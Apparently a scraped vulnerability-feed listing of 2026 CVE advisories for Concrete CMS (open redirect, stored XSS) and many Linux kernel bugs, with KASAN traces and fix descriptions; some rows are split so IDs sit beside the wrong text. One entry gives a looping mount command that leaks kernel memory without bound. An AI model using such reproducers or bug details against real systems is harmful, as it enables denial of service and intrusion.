CVE-2026-81913	Concrete CMS versions 9.5.0 through 9.5.2 are vulnerable to Open Redirect via the rcURL parameter. An attacker can craft a single link on the site's own domain that sends a user to an arbitrary external site immediately after authentication, facilitating phishing and credential theft. The same handling is present in the registration flow, giving a second entry point on sites with registration enabled. Concrete CMS versions prior to 9.5.0 do not include the rcURL parameter or this allowlist and are not affected. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Michal M. for reporting.	N/A	More Details
CVE-2026-81911	Concrete CMS versions 9.0.0 to 9.5.2 is vulnerable to Stored XSS in Board Custom Slot dialog. The custom_slot save_template endpoint authorizes the request only against the target board instance (canEditBoardContents()) and then persists the client-supplied selectedTemplateOption[collection] verbatim, rather than rebuilding the content object collection server-side and verifying that each item belongs to the authorized board's data pool. A user with permission to edit the contents of at least one board instance can therefore store a forged summary object whose description field carries a JavaScript-bearing HTML payload. The default summary template renders the description field without output encoding, so the payload executes in the browser of any user who views the affected board slot, including anonymous front-end visitors and dashboard users who preview the resulting rule or block. This can enable session or action takeover and escalation toward an administrator. Concrete CMS versions below 9 do not include the Boards feature and are not affected. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.8 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-89627	In the Linux kernel, the following vulnerability has been resolved: HID: roccat: free buffered reports when destroying device roccat_report_event() duplicates each report with kmemdup() and stores the allocation in a circular-buffer slot. The allocation is released only when that slot is reused. The device destruction paths free struct roccat_device without releasing reports still stored in cbuf[]. This makes those allocations unreachable and leaks up to ROCCAT_CBUF_SIZE report buffers per device. Add a small destructor that frees every buffered report before freeing the device, and use it in both paths that can destroy a registered device.	N/A	More Details
CVE-2026-89683	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix dentry ref leak on V4ROOT export filehandle lookup nfsd_set_fh_dentry() leaks the dentry reference from exportfs_decode_fh_raw() when the NFS3_FHSIZE or NFS_FHSIZE switch cases detect NFSEXP_V4ROOT and goto out. The out: label calls exp_put() but never dput(dentry), and fhp->fh_dentry was never assigned so fh_put() cannot compensate. A crafted NFSv3 filehandle targeting a V4ROOT export's fsid triggers the leak on every request.	N/A	More Details
CVE-2026-89715	In the Linux kernel, the following vulnerability has been resolved: NFS/localio: fix ref leak on nfs_uuid_add_file failure When nfs_uuid_add_file() races with nfs_uuid_put() tearing down uuid->net, it returns -ENXIO without publishing nfl->nfs_uuid via rcu_assign_pointer(). nfs_open_local_fh() then enters its error branch and only releases the slot's file ref and its paired net ref plus its own entry-time net ref, while the close path is a no-op: nfs_close_local_fh() nfs_uuid = rcu_dereference(nfl->nfs_uuid); if (!nfs_uuid) { rcu_read_unlock(); return; } /* always */ nfsd_open_local_fh() returns localio holding a caller-owned +1 nfsd_file reference (from nfsd_file_get() after nfsd_file_acquire_local()) and an entry-time nfsd_net reference (from its first nfsd_net_try_get()) embedded as nf->nf_net. Both are leaked on the failure path, pinning one nfsd_file (and the underlying struct file, dentry, inode) and one nfsd_net_ref per occurrence, which blocks nfsd_net and netns teardown. Fix by releasing the caller-owned file ref and its net ref through the existing helper, using a stack-local RCU pointer so the helper can xchg it out, then returning -ENXIO so callers do not dereference a localio whose slot has been cleared: struct nfsd_file __rcu *tmp = RCU_INITIALIZER(localio); nfs_to_nfsd_file_put_local(pnf); nfs_to_nfsd_file_put_local(&tmp); localio = ERR_PTR(-ENXIO); The trailing nfs_to_nfsd_net_put(net) continues to release the outer net ref, so all three nfsd_net_try_get() increments are balanced on the error branch.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: NFS: fix delegation_hash_table leak when nfs4_server_common_setup() fails nfs4_server_common_setup() allocates server->delegation_hash_table first, but server->destroy - the only path that frees the table via nfs4_destroy_server() - is not assigned until the very end of the function. If any intermediate step fails (the is_ds_only_client() check, nfs4_init_session(), nfs4_get_rootfh(), or nfs_probe_server()), the function returns with server->destroy still NULL, so the caller's		

CVE-2026-89714	nfs_free_server() skips the destroy callback and the hash table is leaked (4 KiB per attempt with the default delegation watermark). This is trivially reachable from userspace: every failed NFSv4 mount leaks one allocation. A client that persistently retries a mount that cannot succeed leaks kernel memory without bound. Observed in production where a Longhorn backup poller retried mount.nfs4 against an NFSv3-only server roughly 10 times per second, leaking ~3.4 GiB of unreclaimable slab (kmalloc-rnd-13-4k) per day; the node accumulated 12 GiB of leaked slab before the source was identified via the kmem:kmalloc tracepoint (call_site=nfs4_delegation_hash_alloc). Reproducer: # server exports NFSv3 only (or export path absent for v4) while :; do mount -t nfs4 <server>:/missing /mnt; done # watch SUnreclaim in /proc/meminfo grow 4 KiB per iteration Free the table on the error paths between the allocation and the assignment of server->destroy.	N/A	More Details
CVE-2026-80972	In the Linux kernel, the following vulnerability has been resolved: ALSA: aloop: Check card index validity at probe aloop driver blindly trusts that the given devptr->id value is within the proper card index range at probe. It's OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as "none", and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-89710	In the Linux kernel, the following vulnerability has been resolved: NFSv4.1: fix layout segment leak on the pnfs_layout_process() forget path When the server returns a new layout stateid while a valid one is still held, pnfs_layout_process() calls pnfs_mark_matching_lsegs_return() on the on-stack free_me list and jumps to out_forget. Segments whose reference count drops to zero are unlinked from lo->plh_segs and moved to free_me by mark_lseg_invalid(); for an idle cached segment the layout header holds the only reference, so this happens on the first decrement. out_forget never drains free_me -- only the success path calls pnfs_free_lseg_list(). Commit 814b84971388 ("pNFS/NFSv4: Fix a layout segment leak in pnfs_layout_process()") added the drain; commit 08bd8dbe8882 ("pNFS/NFSv4: Try to return invalid layout in pnfs_layout_process()") removed it while switching the destination to lo->plh_return_segs, which is drained elsewhere. Commit fb700ef02676 ("NFSv4.1: Simplify layout return in pnfs_layout_process()") switched the destination back to free_me without restoring the drain. Restore the pnfs_free_lseg_list() call.	N/A	More Details
CVE-2026-80973	In the Linux kernel, the following vulnerability has been resolved: ALSA: 6fire: bound the MIDI event length from the device usb6fire_comm_receiver_handler() forwards a MIDI event using a length byte the device supplies, with no bound and no check that the transfer delivered that many bytes: if (!urb->status) { if (rt->receiver_buffer[0] == 0x10) /* midi in event */ if (midi_rt) midi_rt->in_received(midi_rt, rt->receiver_buffer + 2, rt->receiver_buffer[1]); } receiver_buffer is a 64-byte kzalloc() buffer (COMM_RECEIVER_BUFSIZE), so only 62 bytes follow the two-byte header. receiver_buffer[1] is a u8 the device chooses, so a device that answers with 0x10 and a length of 0xFF makes snd_rawmidi_receive() read 255 bytes starting two bytes into a 64-byte object. The bytes past the buffer are handed to userspace through the rawmidi read path. urb->actual_length is not consulted either, so a short transfer leaves both the type byte and the length byte at their previous values and the handler acts on stale data. The receiver URB is submitted from usb6fire_comm_init() at probe, so the read happens on plug with no user action; forwarding to userspace also needs a MIDI input substream open, since usb6fire_midi_in_received() only calls snd_rawmidi_receive() when rt->in is set. KASAN on 7.2.0-rc5 (arm64), single packet from an emulated device: BUG: KASAN: slab-out-of-bounds in snd_rawmidi_receive Read of size 255 at addr ffff000009f64682 by task bash/183 __asan_memcpy snd_rawmidi_receive usb6fire_midi_in_received [snd_usb_6fire] usb6fire_comm_receiver_handler [snd_usb_6fire] Allocated by task 11: usb6fire_comm_init [snd_usb_6fire] usb6fire_chip_probe [snd_usb_6fire] The buggy address is located 2 bytes inside of allocated 64-byte region [ffff000009f64680, ffff000009f646c0) Reject the event when the length exceeds the bytes that follow the header, and require the transfer to have delivered the header plus that many bytes. The receiver URB is submitted with a 64-byte transfer_buffer_length, so a genuine device cannot deliver an event longer than those 62 bytes and nothing valid is dropped. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>	N/A	More Details
CVE-2026-80974	In the Linux kernel, the following vulnerability has been resolved: mfd: sm501: Fix potential memory leaks during remove The memory allocated for struct sm501_devdata in sm501_pci_probe() and sm501_plat_probe() is not freed by the corresponding remove functions sm501_pci_remove() and sm501_plat_remove(). Fix that by adding a call to kfree().	N/A	More Details
CVE-2026-80983	In the Linux kernel, the following vulnerability has been resolved: net/smc: fix socket refcount leak in smc_switch_conns() smc_switch_conns() takes a reference on the SMC socket before dropping lgr->conns_lock, so the connection stays alive while the CDC slot is fetched: sock_hold(&smc->sk); read_unlock_bh(&lgr->conns_lock); /* pre-fetch buffer outside of send_lock, might sleep */ rc = smc_cdc_get_free_slot(conn, to_lnk, &wr_buf, NULL, &pend); if (rc) goto err_out; The err_out label only drops the wr_tx link reference, so this early exit returns without the matching sock_put(). The second error exit is not affected, because sock_put() has already run by then. A leaked sk_refcnt means the smc_sock is never destroyed. Its send and receive buffers stay allocated, and for a user socket the reference held on the network namespace is never released, so the netns can no longer be torn down. smc_cdc_get_free_slot() fails when the target link goes down or when the connection has been killed while the switch is in progress. Both are reachable during the link failover this function implements, so the leak is triggered by the same hardware events that make smc_switch_conns() run in the first place. Restructure so there is a single sock_put() covering both outcomes, instead of adding a second one to the error path.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: net/smc: do not dereference an unset send buffer on the SMC-D teardown path smc_close_stream_wait() calls smc_tx_prepared_sends() from inside its		

CVE-2026-80984	sk_wait_event() condition, and sk_wait_event() evaluates that condition once with the socket lock released. smcd_buf_detach() clears conn->sndbuf_desc from smc_conn_kill() under lock_sock(), so a link group terminating while a socket waits there leaves the helper dereferencing NULL, faulting out of close(). SIOCOUTQ reads the field by hand, and smc_close_cancel_work() drops the lock across two cancel_*_sync() calls. Sample the pointer once in the helper, report nothing prepared while it is unset, and bound the ioctl the same way. The receive tasklet dereferences the field directly in smc_cdc_msg_recv_action(), not through this helper; 1/2 is what keeps it from running that late.	N/A	More Details
CVE-2026-80988	In the Linux kernel, the following vulnerability has been resolved: NTB: ntb_transport: Fail TX enqueue when the QP link is down Commit f195a1a6fe41 ("ntb: Drop packets when qp link is down") meant to make ntb_transport_tx_enqueue() drop packets submitted while the QP link is down, but it only returns 0 without consuming the packet. Zero means success by this function's contract, so ntb_netdev reports NETDEV_TX_OK and forgets the skb: nothing queued it, nothing frees it, and it leaks, one skb for every transmit racing a link-down. Return -ENOLINK instead, restoring the contract that a non-zero return leaves the buffer owned by the caller. With the preceding patch, ntb_netdev frees the skb on non-retryable enqueue failures and returns NETDEV_TX_OK, so a packet racing with link-down is dropped without leaking or entering a busy retry loop.	N/A	More Details
CVE-2026-89701	In the Linux kernel, the following vulnerability has been resolved: nfsd: validate nseconds in TIME_DELEG decode paths The xdrgen-based TIME_DELEG_ACCESS and TIME_DELEG_MODIFY decode arms store a raw uint32_t nseconds directly into tv_nsec without enforcing nseconds < NSEC_PER_SEC. The legacy nfsd4_decode_nfstime4 has this check but the TIME_DELEG paths do not. A malformed timespec can propagate through notify_change() to disk. Add range checks in both nfs4xdr.c (SETATTR path) and nfs4callback.c (CB_GETATTR path).	N/A	More Details
CVE-2026-89700	In the Linux kernel, the following vulnerability has been resolved: nfsd: validate sockaddr length per family in listener_set nfsd_sock_nl_policy declares NFSD_A_SOCK_ADDR as a bare NLA_BINARY attribute with no minimum length. A CAP_NET_ADMIN caller can send a 16-byte NFSD_A_SOCK_ADDR with sa_family=AF_INET6, causing a 12-byte OOB read across three consumers (rpc_cmp_addr_port, svc_find_listener, kernel_bind). nfsd_nl_listener_set_doit() also parsed and validated each listener entry inline in two separate loops, interleaved with mutating the running listener configuration. The validation was duplicated, used an open-coded "nla_len < sizeof(struct sockaddr)" check that was too short for AF_INET6, and handled a malformed entry inconsistently depending on which loop noticed it. Add an nfsd_nl_validate_listeners() helper that walks the entire list once and confirms each entry parses, carries both an address and a transport name, and is long enough for its address family (sizeof(struct sockaddr_in) for AF_INET, sizeof(struct sockaddr_in6) for AF_INET6, -EAFNOSUPPORT otherwise). Call it before taking nfsd_mutex or creating the serv, so a malformed request fails cleanly with no side effects. Since every entry is known valid by the time the two existing loops run, drop the redundant presence and per-family length checks from both, leaving only the nla_parse_nested() call needed to extract the data.	N/A	More Details
CVE-2026-80990	In the Linux kernel, the following vulnerability has been resolved: net: thunderbolt: Release the Rx HopID that was handed out on mismatch tb_xdomain_alloc_in_hopid() passes the wanted HopID to ida_alloc_range() as the lower bound, so a taken id is not an error there: the allocator returns the next free one above it. tbnet_connected_work() asks for the peer's transmit path, treats any other id as a failure and returns without releasing what it got, so that allocation stays live for the rest of the XDomain connection with nothing left holding a reference to it. Release the id when it is not the one we asked for, the same way the error unwind at the end of the function releases the expected one.	N/A	More Details
CVE-2026-89698	In the Linux kernel, the following vulnerability has been resolved: nfsd: widen nfsd_genl_rqstp address fields to sockaddr_storage struct nfsd_genl_rqstp declares rq_daddr and rq_saddr as plain "struct sockaddr" (16 bytes). When an IPv6 NFS client is connected, nfsd_genl_rpc_status_compose_msg() casts these fields to "struct sockaddr_in6 *" (28 bytes) and reads sin6_addr at offset 8..24, which extends 8 bytes past the end of the 16-byte sockaddr field into the adjacent rq_flags member. The 16-byte nla_put_in6_addr then ships 8 bytes of truncated IPv6 address followed by 8 bytes of rq_flags to userspace via the NFSD_A_RPC_STATUS_SADDR6/DADDR6 netlink attributes. This is reachable by any unprivileged process in the network namespace because NFSD_CMD_RPC_STATUS_GET uses GENL_CMD_CAP_DUMP without GENL_ADMIN_PERM. Fix by widening rq_daddr and rq_saddr to struct sockaddr_storage so the IPv6 casts operate within bounds, copying sizeof(struct sockaddr_storage) bytes in the memcpy calls so the full address is captured, and zero-initializing the genl_rqstp stack variable to prevent leaking uninitialized tail bytes through netlink.	N/A	More Details
CVE-2026-80993	In the Linux kernel, the following vulnerability has been resolved: net: phylink: correctly validate returned PCS in phylink_inband_caps In phylink_inband_caps(), the PCS returned by mac_select_pcs is only checked if NULL but mac_select_pcs can also return an error pointer. This can cause a kernel panic as phylink_pcs_inband_caps() only checks if passed PCS is not NULL and directly dereference ops from the phylink_pcs struct. Use the IS_ERR_OR_NULL macro to address both case where the returned PCS can be NULL or an error pointer and prevent a kernel panic.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: net: l2tp: do not propagate multicast notification errors The tunnel create, tunnel modify, session create, and session modify netlink handlers send multicast notifications through helpers that can fail while allocating or encoding a message, or while multicasting it. For tunnel and session create/modify, a notification is sent after the live operation has	N/A	More

80996	completed. Returning a best-effort notification error as the command result can therefore report failure for an operation that already committed and can cause callers to retry and accumulate live objects. Keep sending notifications for listener visibility, but do not propagate their best-effort status as the command result. This also keeps the tunnel modify command consistent with the other notification-only paths.		Details
CVE-2026-89694	In the Linux kernel, the following vulnerability has been resolved: nfsd: check client ownership when cancelling a copy-notify stateid On the OFFLOAD_CANCEL path (clp != NULL), manage_cpntf_state() freed the target cpntf state without checking ownership. The lookup key st->si_opaque.so_id is allocated cyclically (guessable) and the embedded clientid is the fixed per-net nn->s2s_cp_cl_id, so any authenticated NFSv4.2 client could cancel and free another client's copy-notify stateid. Compare the creating clientid recorded in state->cp_p_clid against the requesting client's cl_clientid and return nfserr_bad_stateid on a mismatch instead of freeing the entry.	N/A	More Details
CVE-2026-89693	In the Linux kernel, the following vulnerability has been resolved: nfsd: check nfsd4_acl_to_attr() return value in nfsd4_create() nfsd4_create() stores the return value of nfsd4_acl_to_attr() in status, but the switch(create->cr_type) block unconditionally overwrites it in every branch. ACL translation errors are silently discarded, and the CREATE proceeds without the requested ACL. Add an early exit check after nfsd4_acl_to_attr(), matching the pattern already used in nfsd4_setattr(). [cel: prefer NFS4ERR_BADTYPE over NFS4ERR_ATTRNOTSUPP]	N/A	More Details
CVE-2026-80999	In the Linux kernel, the following vulnerability has been resolved: net: dsa: realtek: use gpiod_set_value_cansleep for reset GPIO rtl83xx_reset_assert() and rtl83xx_reset_deassert() are only called from the probe path, which may sleep and is not timing-critical. When the reset GPIO is provided by a sleeping controller such as an I2C I/O expander, gpiod_set_value() warns: WARNING: drivers/gpio/gpiolib.c:4030 at gpiod_set_value+0x44/0x80, CPU#1: kworker/u16:4/61 Hardware name: B&O MAP CA33 Rev f (UNKNOWN) (DT) Workqueue: events_unbound deferred_probe_work_func pc : gpiod_set_value+0x44/0x80 lr : rtl83xx_probe+0x1d8/0x3a0 Call trace: gpiod_set_value+0x44/0x80 (P) rtl83xx_probe+0x1d8/0x3a0 realtek_mdio_probe+0x24/0xa0 mdio_probe+0x38/0x78 really_probe+0xc4/0x3e0 __driver_probe_device+0x15c/0x1b8 driver_probe_device+0xb4/0x120 __device_attach_driver+0xb8/0x1a0 bus_for_each_drv+0x88/0xf0 __device_attach+0xa0/0x1d8 device_initial_probe+0x54/0x68 bus_probe_device+0x38/0xa0 deferred_probe_work_func+0xb8/0x120 process_one_work+0x184/0x4e8 worker_thread+0x188/0x308 kthread+0x130/0x150 ret_from_fork+0x10/0x20 Switch both helpers to gpiod_set_value_cansleep() so such a reset GPIO can be used without triggering the warning. The reset GPIO has been driven with the non-sleeping gpiod_set_value() since the driver was added in v4.19. The call has since been refactored across several files - from realtek-smi.c / realtek-mdio.c into the common rtl83xx.c module and then into the rtl83xx_reset_assert() and rtl83xx_reset_deassert() helpers (both in v6.9). This patch therefore applies as-is only to kernels that carry those helpers (v6.9+); older stable kernels need the same gpiod_set_value_cansleep() conversion at the corresponding open-coded call sites.	N/A	More Details
CVE-2026-81005	In the Linux kernel, the following vulnerability has been resolved: ipmi: si: Fix NULL pointer dereference after failed registration try_smi_init() allocates new_smi->si_sm and later calls ipmi_register_smi_mod(), which maps to ipmi_add_smi(). During ipmi_add_smi(), the upper IPMI message handler obtains the initial BMC device information through __bmc_get_device_id(). This can fail if the BMC does not return a successful response to the Get Device ID command. When the BMC returns a nonzero completion code, the device-id helper retries the command and eventually returns -EIO if the device ID still cannot be fetched. On this failure path, ipmi_add_smi() logs "Unable to get the device id" and goes to out_err_started, where it invokes the lower driver's shutdown callback. try_smi_init() then logs the returned registration failure: ipmi_si IPI0001:00: IPMI message handler: Unable to get the device id: -5 ipmi_si IPI0001:00: Unable to register device: error -5 For ipmi_si, the shutdown callback is shutdown_smi(), which cleans up the SI state machine data, frees smi_info->si_sm, and sets smi_info->si_sm and smi_info->intf to NULL. However, intf->in_shutdown is not set on this failed-registration rollback path. Therefore, the asynchronous redo_bmc_reg work item can still retry BMC device-id probing after the lower driver has already cleared its SI state machine data. In the observed case, that retry path reached start_next_msg(), which passed the NULL smi_info->si_sm pointer to the selected KCS state machine handler: BUG: unable to handle kernel NULL pointer dereference at 0000000000000000 Workqueue: events redo_bmc_reg [ipmi_msghandler] RIP: start_kcs_transaction+0x2c/0x190 [ipmi_si] Call Trace: start_next_msg+0x50/0x80 [ipmi_si] check_start_timer_thread.part.9+0x3b/0x50 [ipmi_si] sender+0x69/0x80 [ipmi_si] i_ipmi_request+0x2ac/0x9d0 [ipmi_msghandler] __get_device_id.isra.29+0xaa/0x180 [ipmi_msghandler] __bmc_get_device_id+0xef/0x950 [ipmi_msghandler] redo_bmc_reg+0x52/0x60 [ipmi_msghandler] process_one_work+0x1a7/0x360 Set intf->in_shutdown on the out_err_started path before invoking the lower driver's shutdown callback. This prevents later redo_bmc_reg retries from using an interface whose lower driver state has been cleaned up, and applies the same shutdown state to other IPMI interfaces as well.	N/A	More Details
CVE-2026-81009	In the Linux kernel, the following vulnerability has been resolved: io_uring/query: cap user size passed to copy_struct_to_user io_handle_query_entry() clamps hdr.size for the inbound copy_from_user() but keeps the original user value as usize. copy_struct_to_user() uses that usize and, when it is larger than the kernel result, clear_user()s the trailing bytes. As hdr.size is a __u32, a query can request nearly 4 GiB of zeroing, including on the error path where res_size stays 0. The interface is reachable without a ring via IORING_REGISTER_QUERY. Reject sizes larger than PAGE_SIZE, as recommended for copy_struct_* interfaces.	N/A	More Details

CVE-2026-81013	In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix heap OOB read on empty password write validate_password_input() computes length = strlen(buf) and then checks buf[length - 1] to strip a trailing newline, without checking that length is nonzero first. Writing an empty string (a bare '\n') to current_password or new_password gives length == 0, and buf[length - 1] reads buf[-1], one byte before the heap allocation holding the copied input. KASAN confirms this directly: BUG: KASAN: slab-out-of-bounds in store_password_instance.constprop.0+0x223/0x2a0 [hp_bioscfg] Read of size 1 at addr ffff88811bd8da9f by task sh/13740 ... store_password_instance.constprop.0+0x223/0x2a0 [hp_bioscfg] current_password_store+0x14/0x20 [hp_bioscfg] ... The buggy address is located 23 bytes to the right of allocated 8-byte region [ffff88811bd8da80, ffff88811bd8da88) Reproduced identically via new_password_store. Execution continues past the bad read (the garbage byte only affects whether "length" is decremented by one), so the write completes and returns success; this is a pure information read past the buffer, not a crash, but it is still an out-of-bounds access KASAN correctly flags. Fix by only checking buf[length - 1] when length is nonzero.	N/A	More Details
CVE-2026-81014	In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix heap OOB read in sk_store() and kek_store() sk_store() and kek_store() strip a trailing newline from the sysfs write before allocating the key buffer: length = count; if (buf[length - 1] == '\n') length--; bioscfg_drv.spm_data.signing_key = kmemdup(buf, length, GFP_KERNEL); but then pass the original "count" (not "length") as the copy size to hp_wmi_perform_query(), which memcpy()s that many bytes out of the "length"-sized allocation, reading one byte past it whenever the write ends in a newline, the normal case for a shell "echo" into sysfs. KASAN confirms this directly: BUG: KASAN: slab-out-of-bounds in hp_wmi_perform_query+0x1e9/0x460 [hp_bioscfg] Read of size 28 at addr ffff88813c8e2b80 by task python3/16022 ... sk_store+0xa7/0x240 [hp_bioscfg] kernfs_fop_write_iter+0x3e1/0x5d0 ... The buggy address is located 0 bytes inside of allocated 27-byte region [ffff88813c8e2b80, ffff88813c8e2b9b) Reproduced identically for kek_store, and at multiple write sizes (28, 57, 201 bytes), each time reading exactly one byte past a kmemdup() allocation one byte smaller than the write. Fix by passing "length" instead of "count" to hp_wmi_perform_query() in both functions.	N/A	More Details
CVE-2026-81018	In the Linux kernel, the following vulnerability has been resolved: platform/x86: think-lmi: Free system certificate signatures Multi-certificate support also allows the system authentication object to store ->signature and ->save_signature, which leak when the driver is removed. Free the signatures to avoid leaking memory.	N/A	More Details
CVE-2026-89628	In the Linux kernel, the following vulnerability has been resolved: HID: picolcd: clamp eeprom debugfs read to bytes actually received picolcd_debug_eeprom_read() trusts resp->raw_data[2] -- a length byte supplied by the device in its REPORT_EE_DATA reply -- clamped only to the caller's read() count: ret = resp->raw_data[2]; if (ret > s) ret = s; if (copy_to_user(u, resp->raw_data+3, ret)) It never checks resp->raw_size, the number of bytes picolcd_raw_event() actually copied into the 64-byte raw_data[] of the kmalloc'd struct picolcd_pending. A device (or a spoofed picoLCD) returning a length byte of 0xff, read with a count >= 255, makes copy_to_user() read past raw_data[] into adjacent slab memory and return it to userspace through the debugfs "eeprom" file: BUG: KASAN: slab-out-of-bounds in _copy_to_user Read of size 255 ... picolcd_debug_eeprom_read+0x214/0x2f0 [hid_picolcd] The debug-dump path in the same file already validates the device length byte against the received size before trusting it; this read does not. The file is created S_IRUSR (root-only) and a crafted device is needed, so it is neither unprivileged- nor remotely-triggerable. Clamp the copy length to resp->raw_size - 3 (the payload actually received, minus the 3-byte header), floored at 0 for short replies.	N/A	More Details
CVE-2026-89461	In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: synchronize work cancellation on suspend max17040_work() requeues itself after every poll. cancel_delayed_work() only cancels a pending instance and does not wait for a callback that is already running. If system suspend races with the polling callback, the callback can continue accessing the fuel gauge and requeue itself after the suspend callback returns. Use cancel_delayed_work_sync() to ensure polling is quiesced before suspend completes.	N/A	More Details
CVE-2026-89717	In the Linux kernel, the following vulnerability has been resolved: zram: set default primary compressor in zram_destroy_comps() Patch series "zram: fix zram issues reported by sashiko". Sashiko drove by and reported [1] a couple of zram issues: a possible BUG_ON() in zlib code due to missing winbits range validation and one possible NULL-ptr dereference in zcomp. Both are low risk yet still worth fixing. This patch (of 2): zram_destroy_comps() resets all compressors and leaves them set to NULL, including the primary one, which is invalid device state, as now comp_algorithm_show()->strcmp() can be called on a NULL compressor. Set default primary compressor in zram_destroy_comps().	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: scsi: core: Fill in DMA padding bytes in scsi_alloc_sgtables() During fuzz testing, the following issue was discovered: BUG: KMSAN: uninit-value in __dma_map_sg_attrs+0x217/0x310 __dma_map_sg_attrs+0x217/0x310 dma_map_sg_attrs+0x4a/0x70 ata_qc_issue+0x9f8/0x1420 __ata_scsi_queuecmd+0x1657/0x1740 ata_scsi_queuecmd+0x79a/0x920 scsi_queue_rq+0x4472/0x4f40 blk_mq_dispatch_rq_list+0x1cca/0x3ee0 __blk_mq_sched_dispatch_requests+0x458/0x630 blk_mq_sched_dispatch_requests+0x15b/0x340 __blk_mq_run_hw_queue+0xe5/0x250 __blk_mq_delay_run_hw_queue+0x138/0x780 blk_mq_run_hw_queue+0x4bb/0x7e0 blk_mq_sched_insert_request+0x2a7/0x4c0 blk_execute_rq+0x497/0x8a0 sg_io+0xbe0/0xe20 scsi_ioctl+0x2b36/0x3c60 sr_block_ioctl+0x319/0x440		

CVE-2026-89515	blkdev_ioctl+0x80f/0xd70 __se_sys_ioctl+0x219/0x420 __x64_sys_ioctl+0x93/0xe0 x64_sys_call+0x1d6c/0x3ad0 do_syscall_64+0x4c/0xa0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Uninit was created at: __alloc_pages+0x5c0/0xc80 alloc_pages+0xe0e/0x1050 blk_rq_map_user_iov+0x2b77/0x6100 blk_rq_map_user_io+0x2fa/0x4d0 sg_io+0xad6/0xe20 scsi_ioctl+0x2b36/0x3c60 sr_block_ioctl+0x319/0x440 blkdev_ioctl+0x80f/0xd70 __se_sys_ioctl+0x219/0x420 __x64_sys_ioctl+0x93/0xe0 x64_sys_call+0x1d6c/0x3ad0 do_syscall_64+0x4c/0xa0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Bytes 14-15 of 16 are uninitialized Memory access of size 16 starts at ffff88800cbdb000 When processing the last unaligned element of the scatterlist, it is supplemented with missing bytes in the amount of pad_len. These bytes remain uninitialized, which leads to a problem. Extend last_sg->length by pad_len first, then use sg_zero_buffer() to zero those pad_len bytes. sg_zero_buffer() uses sg_miter internally, which correctly handles sg entries spanning multiple pages and padding that crosses a page boundary. Found by Linux Verification Center (linuxtesting.org) with Syzkaller.	N/A	More Details
CVE-2026-89592	In the Linux kernel, the following vulnerability has been resolved: accel/rocket: fix NULL dereference and integer overflow in rocket_job_push() rocket_job_push() allocates a temporary array to hold all input and output GEM object pointers: bos = kvmalloc_array(job->in_bo_count + job->out_bo_count, sizeof(void *), GFP_KERNEL); memcpy(bos, job->in_bos, job->in_bo_count * sizeof(void *)); memcpy(&bos[job->in_bo_count], job->out_bos, ...); Two bugs exist: 1. Missing NULL check: if kvmalloc_array() fails, bos is NULL and the subsequent memcpy() dereferences it, causing a kernel NULL pointer dereference. 2. Integer overflow: in_bo_count and out_bo_count are both u32, set directly from userspace-supplied in_bo_handle_count and out_bo_handle_count with no prior validation. Their sum is computed in u32 arithmetic and can wrap to a smaller value, causing the allocation count passed to kvmalloc_array() to be smaller than intended. Subsequent uses still operate on the original counts when copying and locking objects, which may lead to out-of-bounds accesses on the temporary array. Fix by using check_add_overflow() to detect count overflow before the allocation, and adding a NULL check on the allocation result.	N/A	More Details
CVE-2026-89591	In the Linux kernel, the following vulnerability has been resolved: accel/rocket: initialize job domain before cleanup paths rocket_ioctl_submit_job() releases rjob through rocket_job_put() on allocation error paths. rocket_job_cleanup() unconditionally calls rocket_iommu_domain_put(job->domain), but job->domain is assigned only after task copying and BO lookups. A failure before that assignment can therefore clean up a job with a NULL domain pointer. Take the per-file domain reference before the first error path can release rjob. Also clear rjob->tasks after freeing it in rocket_copy_tasks(), so the common cleanup path cannot free the task array again after a task-copy error.	N/A	More Details
CVE-2026-89590	In the Linux kernel, the following vulnerability has been resolved: accel/rocket: Fix error path handling in rocket_job_run() In rocket_job_run(), after taking an extra fence reference for job->done_fence via dma_fence_get(), the error paths have three bugs: - The dma_fence reference held by job->done_fence is never released, causing a reference leak. - pm_runtime_get_sync() increments the usage counter even on failure, but the error path does not decrement it, leaking the runtime PM reference and preventing the NPU from suspending. - A valid but unsignaled fence is returned to the DRM scheduler, which triggers WARN("Fence ... released with pending signals!") when the scheduler drops its reference. Fix by replacing pm_runtime_get_sync() with pm_runtime_resume_and_get() which auto-balances the usage counter on failure, releasing both fence references on error, and returning ERR_PTR(ret) instead of the unsignaled fence. [tomeu: Refactored error paths to use consolidated goto labels]	N/A	More Details
CVE-2026-89589	In the Linux kernel, the following vulnerability has been resolved: acpi/apei/ghes: Use raw_spinlock_t for CXL CPER work locks The CXL CPER work registration and unregistration helpers acquire cxl_cper_work_lock and cxl_cper_prot_err_work_lock with a spinlock guard(), which leaves local interrupts enabled. The corresponding post paths (cxl_cper_post_event(), cxl_cper_post_prot_err()) execute in hard IRQ context (they are called from the GHES error notification path) and acquire the same locks with an irqsave guard(). If a CPU is holding one of these locks via a spinlock guard() when a GHES interrupt arrives on the same CPU, the IRQ handler spins on the held lock waiting for it to release, while the lock holder is preempted by the IRQ. The result is a deadlock. Convert both locks from spinlock_t to raw_spinlock_t and use guard() at all call sites. On PREEMPT_RT kernels spinlock_t is backed by rt_mutex and sleeping from hard IRQ context is not permitted; raw_spinlock_t is safe in both contexts. Add WARN_ONCE to both register functions to surface double-registration bugs at runtime. Restructure both unregister functions to clear the global work pointer under the lock before calling cancel_work_sync(), closing the window where a CPER interrupt could schedule work on a pointer about to 